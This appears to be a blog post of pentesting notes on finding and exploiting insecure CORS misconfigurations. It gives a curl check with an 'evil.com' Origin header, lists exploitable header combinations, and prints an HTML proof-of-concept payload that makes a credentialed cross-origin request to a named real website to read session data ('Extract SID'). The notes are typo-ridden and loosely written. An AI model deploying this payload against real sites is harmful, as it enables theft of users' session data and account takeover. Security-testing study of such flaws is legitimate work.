Insecure CORS

Insecure CORS:
CORS misconfiguration:

Insecure CORS:

url querystring = embed?

way to find insecure cors misconfiguration:

1.origin: www.evil.com in request header ->check if in response header ->it returns all-origin-control:www.evil.com then there is a insecure cors.
2.Curl http://example.com -H"Origin:atacking URL" -I


Exploit:
Access-control-Allow-Origin:null
Access-Control-Allow-Crenditals:true

Poorly impletmented and not expoiltable.
Access-control-Allow-Origin:*


PAYLOAD:

<!DOCTYPE html>
<html>
<body>
<center>
<h2>CORS POC Exploit</h2>
<h3>Extract SID</h3>
<div id=&quot;demo&quot;>
<button type=&quot;button&quot; onclick=&quot;cors()&quot;>Exploit</button>
</div>
<script>

function cors() {
var xhttp = new XMLHttpRequest();
xhttp.onreadystatechange = function() {
if (this.readyState == 4 &amp;&amp; this.status == 200) {
document.getElementById(&quot;demo&quot;).innerHTML = alert(this.responseText);
}
};
xhttp.open(&quot;GET&quot;,”https://blog.monetha.io/wp-json/oembed/1.0/embed?url=https%3A%2F%2Fblog.monetha.io%2Fhow-am-i-
different-from-tokencard-tenx-monaco%2F”, true);
xhttp.withCredentials = true;
xhttp.send();
}
</script>
</body>
</html>

Comments

Popular posts from this blog

System Malware Analysis

Malware Sample Analysis (29F228F3375C489A8A6E31203AB25787)

Static Analysis